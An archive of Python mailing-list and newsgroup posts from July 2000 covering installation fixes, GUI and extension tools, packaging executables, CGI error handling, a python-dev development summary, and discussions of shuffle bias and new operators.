From fiona at sitegnome.com  Mon Jul 31 07:23:36 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 31 Jul 2000 11:23:36 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 31st, 2000
Message-ID: <20000731112336.3008.qmail@synop.com>

Hi Guys,

Yet another instalment of entries into http://python.faqts.com

regards,

Fiona


## New Entries #################################################


-------------------------------------------------------------
IDLE startup error on WinNT/Win2K - "tcl80.dll not found"
http://www.faqts.com/knowledge-base/view.phtml/aid/5107
-------------------------------------------------------------
David Goggin
http://x56.deja.com/getdoc.xp?AN=646656643&CONTEXT=964987060.1387921411&hitnum=3

This entry addresses the error message received when starting IDLE that 
begins "The dynamic link library tcl80.dll could not be found in the 
specified path c:\program files\python\DLLs;.;(etc.)".

Apparently the installation process for Python 1.5.2 sometimes fails to 
make necessary additions to the PATH. The result is the error message 
given above whenever IDLE is started. 

To remedy this, add the following to the PATH environment variable:

   C:\Program Files\Python;C:\Program Files\Tcl\bin

On WinNT/Win2K, the PATH can edited by right clicking "My Computer", 
selecting properties, and clicking "Environment Variables" (it's on the 
Advanced tab in Win2K).


-------------------------------------------------------------
How can I connect to a Windows DDE Server via Python?
http://www.faqts.com/knowledge-base/view.phtml/aid/5111
-------------------------------------------------------------
Fiona Czuczman
Penfold

This is fairly easy using the dde module that comes with Mark Hammonds 
ever invaluable win32all distribution.

http://starship.python.net/crew/mhammond/

Once you've grabbed it look at files in the win32/demos/dde subdirectory 
of your Python directory.  You'll see connecting as a DDE client is a 
piece of cake.

I'm not sure how warm/hot DDE links can be implementing using it but 
static requests and Execs are no problem.






From ekw1 at my-deja.com  Mon Jul  3 16:32:13 2000
From: ekw1 at my-deja.com (ekw1 at my-deja.com)
Date: Mon, 03 Jul 2000 20:32:13 GMT
Subject: mysql module for python under windows
Message-ID: <8jqt8d$3do$1@nnrp1.deja.com>

Is there a Python MySQL module for use under Windows?  All the ones I
come across on python.org are for Unix/Linux.  Thanks for any info.

ekw


Sent via Deja.com http://www.deja.com/
Before you buy.


From jhylton at my-deja.com  Sat Jul  1 19:39:52 2000
From: jhylton at my-deja.com (jhylton at my-deja.com)
Date: Sat, 01 Jul 2000 23:39:52 GMT
Subject: MD5 - Passwords with python
References: <6e7dj8.bvb.ln@iiab.soluma.de>
Message-ID: <8jlvg7$pdt$1@nnrp1.deja.com>

> Is there a library function to encode passwords crypt-style, but with
md5 as
> hashing-algorithm for python?
> Do you know where I can find documentation about the format?
>

You can use the PKCS #5 implementation in Pisces.
http://www.cnri.reston.va.us/software/pisces/

The PKCS #5 implementation can generate passwords with an arbitrary
hash function.  SHA and MD5 are currently supported.

Jeremy


Sent via Deja.com http://www.deja.com/
Before you buy.


From boud at rempt.xs4all.nl  Mon Jul 10 17:16:07 2000
From: boud at rempt.xs4all.nl (Boudewijn Rempt)
Date: 10 Jul 2000 21:16:07 GMT
Subject: Table Widget
References: <39696FE7.5CBD36AD@proceryon.at>
Message-ID: <8kdeen$m0p$1@news1.xs4all.nl>

Horst Gassner <horst at proceryon.at> wrote:
> Hi all,

> does anyone know a table widget which I can use in my application?

> How would you implement a table widget of your one? Which kind of
> widgets would you use for the table rows and columns? Labels, Listboxes?

> It should be possible to sort by each of the columns, too.

What widget set? With Qt I'd use either QTableView or QListView -
QListView has the advantage of decent column sorting.

-- 

Boudewijn Rempt  | http://www.valdyas.org


From root at 127.0.0.1  Thu Jul 27 15:46:22 2000
From: root at 127.0.0.1 (David)
Date: Thu, 27 Jul 2000 19:46:22 GMT
Subject: Toplevel "test()" functions in standard library
References: <m2vgy28uwi.fsf@hooft.net> <cpwvi8jmyh.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <39818f67.145239963@news.telus.net>

On Thu, 27 Jul 2000 02:01:37 GMT, Guido van Rossum <guido at python.org>
wrote:
>I agree that it's better to name the routine _test(), but for most
>modules, and in most cases, it's bad style anyway to write ``from M
>import *'', so naming it test() is no great sin.

ARRRRRGGGGHHH!
 
What's with this attitude that it's alright to do the wrong thing?
 
It's no great sin to walk on the grass, either, but when enough people do
it, the grass dies and an ugly scar tracks across the civic square.
 
Either a sidewalk should be poured, so that the path becomes legitimate, or
people should quit being lazy and stay on the existing sidewalks.
 
Which is the better solution?  It depends on the situation.  In my town,
there's a pretty obvious need for a bit of sidewalk from the corner of the
block to the library door: people are crossing the street properly, but the
actual sidewalks to the library are the legs of a triangle, not the
hypotenuse.  Of *course* they're going to shortcut.
 
On the other hand, when I'm out backpacking, it infuriates me to see the
mindless destruction of backcountry trails on steep terrain.  Fricking
idiots that shortcut the corners of switchbacks inevitable cause enough
damage *even when they're only one of fifty people to shortcut* a washout
occurs in the next rainstorm.
 
In Python, I think the decisions should be based on making the best
possible decision: the decision that demonstrates and encourages
high-quality coding.  The core language and core modules should do the
*right* thing, at all times.  Make them a superior example of excellent
practices.
 
IMO, etc.



From paul at prescod.net  Mon Jul 17 01:12:49 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 00:12:49 -0500
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com>
Message-ID: <397295D1.FDF556F3@prescod.net>

Matthew Cline wrote:
> 
> ...
> 
> Is there any plans on doing this for Python 3000?  Or will something
> like this never be a part of Python?

There is a whole special interest group with dozens of members set up to
discuss this issue. Nevertheless, its more complicated than you can
imagine and progress is slow.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From rogerha at ifi.uio.no  Wed Jul 19 08:47:23 2000
From: rogerha at ifi.uio.no (Roger Hansen)
Date: 19 Jul 2000 14:47:23 +0200
Subject: CXX and Swig, pros and cons
References: <8kv5uj$4of$1@broadway.news.is-europe.net>
Message-ID: <ya0em4qffs4.fsf@midgard.ifi.uio.no>

* J?r?me Lecomte
> 
> I am fairly new to Python and I'd like to interface part of a medium
> size C++ lib (around 70 classes) to Python. I looked on the www and
> I found CXX and Swig. They seem to have fairly different approach of
> the problem. I wonder which suits best C++.

That depends! SWIG is very good with C, but not with advanced C++,
that is templates, STL, etc. So if the library uses simple C++
features, you could use SWIG. The nice thing with SWIG is that it can
be very simple to build a good interface. Read the C++ support chapter
in User's Guide to determine if you can use SWIG.

CXX has as you say a very different approach. I've just looked at it
myself and are struggling a bit. But I do like some of the features,
like the nice connection to STL.

> If I miss any other tool, please let me know.

SILOON which you can find at <URL: http://www.acl.lanl.gov/siloon/ >
looks promising. I haven't tried it yet though.


HTH,
Roger


From richard_chamberlain at ntlworld.com  Sat Jul 22 07:35:30 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sat, 22 Jul 2000 12:35:30 +0100
Subject: Newbie question, Getting Started?
References: <8lbtqg$2drj$1@earth.superlink.net>
Message-ID: <ADfe5.2877$k54.55303@news6-win.server.ntlworld.com>

Hi Al,

>> For example, where do I write a simple MessageBox program

This may not be as simple as you'd expect Python has a number of extensions
which enable it to have a graphical user interface, one of these Tkinter
you'll have installed already.

Tkinter is a complicated subject so you'll need a book. But to satisfy your
desire for a message box:

from tkMessageBox import showinfo
showinfo("Howdy!", "Welcome to Python")

Don't run this through PythonWin or Idle, run it through windows explorer.

>>Can I write Python 1.5.2 or Tcl executable programs that can be run on
>> a PC that does not have python installed?

Kind of. There is a thing called freeze.py which turns your python code into
c code which you can compile if you have a c compiler. That probably doesn't
fit your bill, so there is python module called installer which will convert
it into a standalone file plus some extensions. Also ActiveState recently
announced something that will do it as well.

I don't think it's something you should worry about at the moment though.

Good Luck

Richard



<OneDay at ATime.net> wrote in message
news:8lbtqg$2drj$1 at earth.superlink.net...
> Hello all,
>
>         I've done some programming with MS Access and Excell Visual Basic,
but
> am new to Python. I've been reading the tutorial for several days now and
am
> having difficulty figuring out where to start. For example, where do I
write a
> simple MessageBox program?
>
>         Can I write Python 1.5.2 or Tcl executable programs that can be
run on
> a PC that does not have python installed?
>
>         Thanks for your time, Al
>
> (The only stupid question is the one not asked.)




From aahz at netcom.com  Fri Jul  7 20:39:47 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 8 Jul 2000 00:39:47 GMT
Subject: Help! Indenting craziness!
References: <8k5pev$182l$1@nntp1.ba.best.com> <8k5r4u$182l$2@nntp1.ba.best.com>
Message-ID: <8k5t8j$hhm$1@nntp9.atl.mindspring.net>

In article <8k5r4u$182l$2 at nntp1.ba.best.com>,
Adam Clark  <bjrubble at shell16.ba.best.com> wrote:
>
>Let me retract the "blank, unindented lines" part before somebody flames
>me.  I realize now that this is a python-mode issue, probably due to a
>space/tab mixup.  Problem is, everything appears to be tabs.  There is
>no detectable difference either visually or by cursor navigation between
>correct code and SyntaxError-generating code.
>
>So, that said, help!!

python -tt
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From duncan at rcp.co.uk  Thu Jul 13 09:24:12 2000
From: duncan at rcp.co.uk (Duncan Booth)
Date: 13 Jul 2000 13:24:12 GMT
Subject: WBMP
References: <8kj6vt+cg6f@eGroups.com>
Message-ID: <8F7099057duncanrcpcouk@194.238.50.13>

halim at mlcc.com.my wrote in <8kj6vt+cg6f at eGroups.com>:

>Hi..
>
>Is there anybody who has worked on wbmp converter image from any other
>format in Python? If yes, where can I find it?
>
>Thank you.
>

Try http://www.rcp.co.uk/distributed/Downloads

The file wbmpconv.zip (1192k) is a command line convertor to/from wbmp 
format (Win32 binary). Alternatively, wbmpconvsrc.zip (8k) contains the 
python sources. The source version requires that you have Python and PIL 
installed on your machine, the binary is completely self contained but a 
bit large as it needs to include the Python and Tk dlls.

Obviously the source version lets you convert to/from any image formats 
supported by PIL, the win32 binary supports:
ARG BMP* CUR DCX EPS* FLI FPX GBR GIF* ICO IM* IMT IPTC JPEG* MCIDAS MIC 
MPEG MSP* PCD PCX* PIXAR PNG* PPM* PSD SGI SUN TGA TIFF* WBMP* WMF XBM* XPM 
XVTHUMB (the ones with a * may be read or written, the other formats may 
only be read).


From xiarcexml at yahoo.com.bbs  Mon Jul 17 14:20:02 2000
From: xiarcexml at yahoo.com.bbs (xiarcexml at yahoo.com.bbs)
Date: 17 Jul 2000 18:20:02 GMT
Subject: Does Python code >.require<< a run-time environment?? (New to   P
Message-ID: <3bRL72$lLn@openbazaar.net>

Thanks, George... that might answer my question...

I don't need it even to be ONE file, only not-requiring someone to DL
the VM to run it.. My users are not savvy with basic dos functions,
let alone with virtual machines, programming languages, etc..

If they can be zipped, and then unzipped, and double-clicked... then
perhaps python has answered my need.

(Now only how to re-write my GUIs in Tkinter... ah well.. I can add a
language a month to my repertoire)
~Dave


Previous Conversation:::::
Paul Prescod wrote:

> Gordon McMillan wrote:
> >
> > ...
> > > For Python, you want to look
> > >at
> > >
> > >http://starship.python.net/crew/gmcm/distribute.html
> > >
> > >For Java, at "jexegen.exe".
> >
> > Sorry, Paul, the latter does not bundle in the interpreter. It
> > just packages up byte code and uses a small exe to start your
> > MS JVM.
>
> True, I forgot that because the MS JVM tends to be installed. I
> think I may have exaggerated the features of the former too. Is
> there any easy way to make a single executable for Python, the
> standard library, required .pyd's and your code? My vague
> impression is that you could if you had a compiler and the source
> for your pyd's, or else you could fall back on an installer
> (rather than a single big runnable app).
;
;It doesn't create a single statically linked exe. That's kind of
;hard without a compiler. It does track down all your
;dependencies (at least those not masked by import hooks)
;including (on Windows) dlls that your pyds might depend on.
;You end up with an exe and some pyds / dlls in one directory.

;You can then choose how to distribute. You can use a
;installer, (or WinZip), or let Installer create one for you, or even

;send out a one file exe that unzips itself each time it's run.
;
;The major point being that there's no requirement for Python
;on the user's machine, and there's no interference if they have
;a different version of Python installed.
;
;- Gordon



__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/


From hzhu at knowledgetrack.com  Wed Jul 19 20:14:58 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 00:14:58 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l59v6$oq7$1@slb6.atl.mindspring.net>
Message-ID: <slrn8nchb1.18e.hzhu@rocket.knowledgetrack.com>

On 19 Jul 2000 22:26:46 GMT, Aahz Maruch <aahz at netcom.com> wrote:
>
>Um, has Guido actually given a go-ahead for adding to the language, or
>has Guido simply asked for a complete proposal to *consider* putting
>into the language?  Do you have a handy reference for his precise words?

I think the second characterization is more accurate.  The only reference is
the quote from Tim:

> Sleeping in the same room with Guido for a night did not make it easier to
> channel him, but it did make it easier to cloud his mind:  Guido is not
> opposed to adding new operator symbols to core Python.  As of breakfast
> Tuesday, anyway, and there are witnesses, so he'll have trouble changing his
> mind (well, it will be clumsy for him to *admit* it if he changes his mind
> <wink> ...).
> 
[snip]

For some reason Tim's post is not showing up here after more than half a
day, but I find it already in the pipermail archive.  It probably will come
up soon.  I've also forwarded a copy here.

My impression is that this issue now does not depend on issues like
necessity and application domain, but on the design and implementation of
the actual thing.  Since we already have a working prototype the issue
appears to mainly rest on the overall design, imho.

Huaiyu


From jdhenry at ismi.net  Wed Jul 19 15:05:07 2000
From: jdhenry at ismi.net (The Henry's)
Date: Wed, 19 Jul 2000 15:05:07 -0400
Subject: Small learning project
References: <3974AB44.73C339AE@prescod.net>
Message-ID: <3975FBE3.AEA9ACDE@ismi.net>

[posted and mailed]
Paul Prescod wrote:
> 
> Anyone looking for a few hours of work as a Python learning opportunity?
> I have a simple text processing problem which is relatively interesting
> because it will give you a chance to learn about some Python internals
> (without requiring you to already be an expert in them). I would do it
> myself but I'm supposed to be working on a book.
> 
> [snip]
> 
> There's no deadline on the project but its only a few hours so if you
> can't get to it for a while, better to leave it to someone who can do it
> in the next week.
> 
> If you are interested, contact me. I've got some URLs and ideas on the
> best approach to help you to achieve maximum productivity.
> --
>  Paul Prescod - Not encumbered by corporate consensus
> Just how compassionate can a Republican get before he has to leave the
> GOP and join Vegans for Global Justice? ... One moment, George W. Bush
> is holding a get-to-know-you meeting with a bunch of gay Republicans.
> The next he is holding forth on education or the environment ... It is
> enough to make a red-blooded conservative choke on his spotted-owl
> drumstick.     - April 29th, Economist

Paul,

If you haven't found anybody yet, I'd be interested in woking on this. 
I've been using Python casually for a while now, and I think this will
fit my skill level quite well. It sounds like all the heavy lifting is
already done anyway. And, as a bonus, I'll have some time available
over the next week or so.
 
Please let me know how to proceed.
Thanks,
Jeff Henry.


From akuchlin at cnri.reston.va.us  Tue Jul 18 10:08:13 2000
From: akuchlin at cnri.reston.va.us (Andrew Kuchling)
Date: Tue, 18 Jul 2000 10:08:13 -0400
Subject: Python-dev summary: July 1-15
Message-ID: <20000718100813.C21354@newcnri.cnri.reston.va.us>

This is a first experiment in whether I can make a useful,
interesting, somewhat coherent summary of python-dev activity.  
If reaction is favorable, and time permits, it may become a biweekly 
posting.

--amk

==================

Python-dev summary, July 1-15, 2000

The 2-week period started with reactions to Guido's June 30
announcement that the 2.0b1 release would be delayed for an indefinite
period due to legal wrangling.  This gave everyone a second chance to
contribute more patches while waiting for the release, and the
activity level remained high.  Two dominant issues for this time
period were Unicode-related issues, and list comprehensions.

The Unicode issues, as usual, turned on the question of where strings
and Unicode strings should be interchangeable.  A discussion in the
thread "Minidom and Unicode" considered whether it's legal to return a
Unicode string from __repr__.  The consensus was that it should be
legal, despite fears of breaking code that expects only an 8-bit
string, and the CVS tree was patched accordingly.  Python's
interpreter mode uses repr() to display the results of expressions,
and it will convert Unicode strings to ASCII, using the unicode-escape
encoding.  The following code, typed into the interpreter, will print
'abc\u3456'.

class C:
    def __repr__(self): return u'abc\u3456'
print repr( C() )

Hashing also presented a problem.  As M.-A. Lemburg explained in 
http://www.python.org/pipermail/python-dev/2000-July/012150.html:

	The problem comes from the fact that the default encoding can
	be changed to a locale specific value (site.py does the lookup
	for you), e.g.  given you have defined LANG to be us_en,
	Python will default to Latin-1 as default encoding.

	This results in '???' == u'???', but hash('???') !=
	hash(u'???'), which is in conflict with the general rule about
	objects having the same hash value if they compare equal.

The resolution seems to be simply removing the ability to change the
default encoding and adopt ASCII as the fixed default; if you want to
use other encodings, you must specify them explicitly.

List comprehensions originated as a patch from Greg Ewing that's now
being kept up-to-date versus the CVS tree by Skip Montanaro.
Originally they weren't on the roadmap for 1.6, but with the greater
version number jump to 2.0, GvR is more willing to incorporate larger
changes.  Augmented assignment, as in 'a += 1', and range literals,
so [0:10] is the same as range(10), may also make their way into 2.0.

List comprehensions provide a more concise way to create lists in
situations where map() and filter() would currently be used.  To take
some examples from the patched-for-list-comphrensions version of the
Python Tutorial:

>>> spcs = ["  Apple", " Banana ", "Coco  nut  "]
>>> print [s.strip() for s in spcs]
['Apple', 'Banana', 'Coco  nut']
>>> vec1 = [2, 4, 6]
>>> vec2 = [4, 3, -9]
>>> print [x*y for x in vec1 for y in vec2]
[8, 6, -18, 16, 12, -36, 24, 18, -54]

A lengthy subthread about intuitiveness sprang from the second example, and
from a patch from Thomas Wouters that implements parallel 'for' loops.  The
patch makes "for x in [1,2]; y in ['a','b']" cause x,y to be 1,'a', and then
2,'b'.  The thread circulated around whether people would expect this syntax
to produce the Cartesian product of the two lists: (1,'a'), (1, 'b'), (2,
'a'), (2, 'b').  No clear answer or final syntax has emerged yet, though GvR
seems to be leaning toward adding new built-ins such as zip() instead of new
syntax. Greg Wilson has been trying out syntaxes on Python-unaware people
and asking them what they'd expect:
    http://www.python.org/pipermail/python-dev/2000-July/012810.html

The alternative to new syntax is to add a new built-in function for parallel
'for' loops, so you would code 'for x,y in zip([1,2], ['a','b']):'.  A
lengthy and very dull discussion ensued about the name 'zip': should it be
'plait', 'knit', 'parallel', or even 'marry'?

Some new procedures for Python development were set out:  Tim Peters 
wrote some guidelines for using SourceForge's patch manager:
      http://www.python.org/pipermail/python-dev/2000-July/012635.html

Barry Warsaw announced a series of Python Extension Proposal (PEP)
documents, which will play the role of RFCs for significant changes to
Python:
     http://www.python.org/pipermail/python-dev/2000-July/013059.html

Mark Hammond gave the first glimpse of a fourth Python implementation:
"This new compiler could be compared, conceptually, with JPython - it
is a completely new implementation of Python.  It has a compiler that
generates native Windows .DLL/.EXE files.  It uses a runtime that
consists of a few thousand lines of C# (C-Sharp) code.  The Python
programs can be debugged at the source level with Visual Studio 7, as
well as stand-alone debuggers for this environment.  Python can
sub-class VB or C# classes, and vice-versa."
      http://www.python.org/pipermail/python-dev/2000-July/013019.html

Other bits:

Skip Montanaro experimented with using code coverage tools to measure
the effectiveness of the Python test suite, by seeing which lines of
code (both C and Python) that are exercised by the tests.  
Start browsing at:
    http://www.musi-cal.com/~skip/python/Python/dist/src/

Skip also added support to the readline module for saving and loading
command histories.

ESR suggested adding a standard lexer to the core, and /F suggested an
extension to regular expressions that would make them more useful for 
tokenizing:
	http://www.python.org/pipermail/python-dev/2000-July/012032.html

CVS problems were briefly a distraction, with dangling locks
preventing commits to the Lib/ and Modules/ subdirectories for a few
days.  Despite such glitches, the move to SourceForge has accelerated
development overall, as more people can make check-ins and review
them.

For some time Tim Peters has been suggesting removing the Py_PROTO
macro and making the sources require ANSI C; mostly this is because
the macro breaks the C cross-referencing support in Tim's editor.  :)
The ball finally started rolling on this, and snowballed into a
massive set of patches to use ANSI C prototypes everywhere.  Fred
Drake and Peter Schneider-Kamp rose to the occasion and edited the
prototypes in dozens of files.

Jeremy Hylton pointed out that "Tuple, List, String, and Dict have a
Py*_Size method.  The abstract object interface uses
PySequence_Length.  This is inconsistent and hard to remember," and
suggested that *_Size be made the standard form, and *_Length will be
deprecated.

Just before the cutoff date, Paul Prescod proposed a new help()
function for interactive use, and began implementing it:
     http://www.python.org/pipermail/python-dev/2000-July/013346.html

Huaiyu Zhu suggested adding new operators to support matrix math:
    http://www.python.org/pipermail/python-dev/2000-July/013364.html

A slew of minor patches and bugfixes were made, too.  Some highlights:
  * Ka-Ping Yee improved the syntax error messages.
  * ESR made various changes to ConfigParser.py
  * Some of Sam Rushing's patches from Medusa were applied to add
  os.setreuid() and friends; AMK is working on adding the poll()
  system call.  
  * /F was his usual "patching machine" self, integrating PythonWin's
  win32popen function so that os.popen will now work correctly on
  Windows as well as Unix, writing PyErr_SafeFormat() to prevent
  buffer overflows, and proposing some patches to reduce the 600K size
  of the Unicode character database.

Some fun posts came up during the near-endless zip()/plait()/whatever
naming thread:

http://www.python.org/pipermail/python-dev/2000-July/012920.html:

       "BTW: How comes, that Ping very often invents or introduces very
       clever ideas and concepts, but also very often chooses unclear
       names for them?  Is it just me not being a native english
       speaker?"

       "I don't know.  Perhaps my florx bignal zupkin isn't very
       moognacious?"

       -- Peter Funk and Ka-Ping Yee, 12 Jul 2000

http://www.python.org/pipermail/python-dev/2000-July/013050.html,
while everyone was trying to think up alternative names for zip():

	"Let me throw one more out, in honor of our fearless leader's
	recent life change: marry().  Usually only done in pairs, and
	with two big sequences, I get the image of a big Unification
	Church event :)"

	"Isn't it somewhat of a political statement to allow marriages
	of three or more items? I always presumed that this function
	was n-ary, like map."

	-- Barry Warsaw and Paul Prescod



From bobby at devos.org  Thu Jul 13 07:37:48 2000
From: bobby at devos.org (Bobby de Vos)
Date: 13 Jul 2000 07:37:48 -0400
Subject: Switching to Linux...... converting files and databases....
References: <20000712201149.7701.qmail@web5302.mail.yahoo.com> <slrn8mqpst.6uc.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <t1q7laq8dmb.fsf@kermit.wreck.org>

scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich) writes:

> Both Sun's Star Office and Corel's WordPerfect Office 2000 are free to
> download for Linux, and they read those Word, Excel etc files without
> problems, as far as I know. Office-type software is not a problem with Linux.

Star Office has some slight problems with Word files. The page breaks
are slightly different, and Star Office did not display some
geological time characters in my lab handout.

Regards,
Bobby

-- 
Bobby "the fox" de Vos          bobby at devos.org
ECE - Georgia Tech              http://www.devos.org/bobby


From cjensen at bioeng.ucsd.edu  Thu Jul  6 13:05:40 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Thu, 06 Jul 2000 10:05:40 -0700
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu> <3963E6D6.F47FA4D8@roguewave.com>
Message-ID: <3964BC64.761858FA@bioeng.ucsd.edu>

Bjorn Pettersen wrote:
> 
> What you're seeing are the symptoms of Python having thrown an exception
> and the weblog not capturing all the information. The solution is to make
> sure Python can only throw where you can grab the exception and do
> something useful with it, like printing it to the browser...  Try the
> following (but make sure you can execute it from the command line first --
> one possible error is a SyntaxError, which this scheme will not save you
> from...)
> 
> -- bjorn
> 
> #!/usr/bin/env python
> print """Content-type: text/html
> 
> """
> 
> def main():
>     from time import *
> 
>     print "<HTML>"
>     print "<Head>"
>     print "<Title>Hello World</Title>"
>     print "</Head>"
>     print "<Body>"
>     print "<H1>Hello World !</H1>"
>     print "<hr>"
>     print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
> 
>     print "</Body>"
>     print "</HTML>"
> 
> import traceback
> 
> def execute(fn):
>     # make sure any errors are legible, and directed to the user.
>     try:
>         sys.stderr = sys.stdout
>         fn()
>     except:
>         print '<h1>Something went wrong!!!</h1>'
>         print 'Please send the transcript below to webmaster at your.web<p>'
>         print '\n\n<pre>'
>         traceback.print_exc()
> 
> execute(main)
> 

I tried this.  I got the same errors in the log and in the browser.  I
took out the print line since it caused a discussion.  Any more
suggestions?  Thanks.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451



From tim_one at email.msn.com  Mon Jul 31 15:13:22 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Mon, 31 Jul 2000 15:13:22 -0400
Subject: random.shuffle?
In-Reply-To: <3985C75F.7030AB6C@alcyone.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEDFGNAA.tim_one@email.msn.com>

[Erik Max Francis]
> ...
> Better would be this:
>
>     def shuffle(list):
>         count = len(list)
>         for i in range(count):
>             j = whrandom.randint(count)
>             list[i], list[j] = list[j], list[i]
>
> Simpler, too.

Actually, random.shuffle was added to Python to stop that bad algorithm from
propagating!  *That's* the biased one.  The easiest way to see that it must
be biased is that there are count**count possible outcomes (you pick one of
count values for j on each of count iterations), and count! does not divide
count**count for count > 2:  some permutations are thus necessarily more
likely than others, provided the list has at least 3 elements.

Note that there are count! possible outcomes in Fran?ois's paraphrase of the
std Python random.shuffle.  That doesn't mean it's unbiased, but does mean
that it's at worst not so *obviously* biased <wink>.

Exhaustive discussion can be found via DejaNews.





From thomas at xs4all.net  Tue Jul  4 06:46:04 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 4 Jul 2000 12:46:04 +0200
Subject: Is there no function to convert a hex number to decimal?
In-Reply-To: <3960677C.BED04E21@iue.tuwien.ac.at>; from gritsch@iue.tuwien.ac.at on Mon, Jul 03, 2000 at 12:14:20PM +0200
References: <395DB41F.85E51307@iue.tuwien.ac.at> <3960677C.BED04E21@iue.tuwien.ac.at>
Message-ID: <20000704124603.D283@xs4all.nl>

On Mon, Jul 03, 2000 at 12:14:20PM +0200, Markus Gritsch wrote:
> Markus Gritsch wrote:

> > Although there are several built in functions to convert numbers from
> > decimal to hex or oct, it seems that there is no function which can do
> > the same in the reverse direction.  Of course I can write 0xff, but
> > what should I do, if I have a string containing a hex value?

> I found the solution in the string module:
> atoi (s[, base]) and atol (s[, base])

> BTW, these functions will become obsolete in python 2.0, because there
> will be an optional "base" argument to the built-in functions long() and
> int()

Before we get a long discussion about backwards compatibility ;) I'd like to
point out that the string.ato* functions might, in the strict sense, become
obsolete, but that doesn't mean they are going to disappear. Rather, the
string module is rewritten to use the builtin functionality: string.atoi()
becomes a wrapper for int().

I doubt the string module will disappear before Py3K, and probably not until
way after Py3K to boot.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From news at heitlager.com  Fri Jul 14 07:49:06 2000
From: news at heitlager.com (Ilja Heitlager)
Date: Fri, 14 Jul 2000 13:49:06 +0200
Subject: Downside to using Python in ASP/MS IIS server side?
References: <3973b7ce.945183441@news.online.no>
Message-ID: <8kmult$jsn$1@tesla.a2000.nl>

I use Python to replace VB in binding together MS-Office apps with SQL
7.0/Access including (Inter)networking. Using Python for client-side COM
it's perfect. I both use DAO and mxODBC.
I tried using Python for server-side COM once but I wasn't to happy with it
because I couldn't figure out how to do the parameter marshalling right
(which says more about me than the Python/COM implementation).
I use a regular syntax -highlighting editor en you can probably still use
Interdev, which to me is perfect for Webapps. You won't be able to use
Intellisense, though.

I suggest you read "Python Programming on Win32" by Marc Hammond and Andy
Robinson from O' Reilly's first and your live will never be the same again
;-)

Ilja Heitlager




From alex at magenta.com  Mon Jul 31 05:43:14 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 31 Jul 2000 11:43:14 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com> <8lla9m$hfd$1@animus.fel.iae.nl> <slrn8o42dq.1cq.hzhu@rocket.knowledgetrack.com> <8luhsp51ce8@news2.newsguy.com> <slrn8o9s0a.sv.hzhu@localhost.localdomain>
Message-ID: <8m3huk025kf@news1.newsguy.com>

"Huaiyu Zhu" <hzhu at localhost.localdomain> wrote in message
news:slrn8o9s0a.sv.hzhu at localhost.localdomain...
> On Sat, 29 Jul 2000 14:07:17 +0200, Alex Martelli <alex at magenta.com>
wrote:
> [snip]
> >> FLAG = bitwise.or(FLAG1, FLAG2, FLAG3, FLAG4, FLAG5, FLAG6, FLAG7,
FLAG8)
> >
> >What an EXCELLENT idea.  shift left/right could also be packaged that
> >way (or, almost so; 'or' is a reserved words in Python...).

And I like your solution of finessing this via names bitor, bitand, etc.
This
also makes it sensible to 'from bitwise import *' in a module that does
heavy bitwise processing.

> >The 'bitwise' module could supply easily explicit bitfield-extraction
> >in place of the mask-and-shift idioms, too.

E.g., with your current prototype, bitget, bitset, and bitflip, for
single-bit
operations, and bitfieldget, bitfieldset, maybe bitfieldoperate for
multi-bit
fields operations.  You could see the purpose of this as 'marketing' -- an
attempt to make the new module more popular, by having it provide a
little useful extra prepackaged-functionality, that is often welcome in
program segments that do work with bitfields.


> >Oh well -- maybe a hint for Python 3000, when backwards compatibility
> >can be broken...!
>
> Why wait that long!  Here's a prototype.  If this becomes default, it
would
> be easier to replace the implementation in the future - with much less to
> break.

Maybe it could get into the Standard Distribution, and it would be trivial
to supply a C implementation of course (cBitfield perhaps?).  No way to
take away | & << >> ~ until Python 3000, of course, but, yes, surely when
3000's time comes life will be easier if bitwise is the popular way to do
things and the linenoise alternative an old/legacy/deprecated one:-).


Alex





From ulrich.schreiner at innuendo.de  Mon Jul 31 13:11:05 2000
From: ulrich.schreiner at innuendo.de (Ulrich Schreiner)
Date: Mon, 31 Jul 2000 19:11:05 +0200
Subject: "always passes by reference"
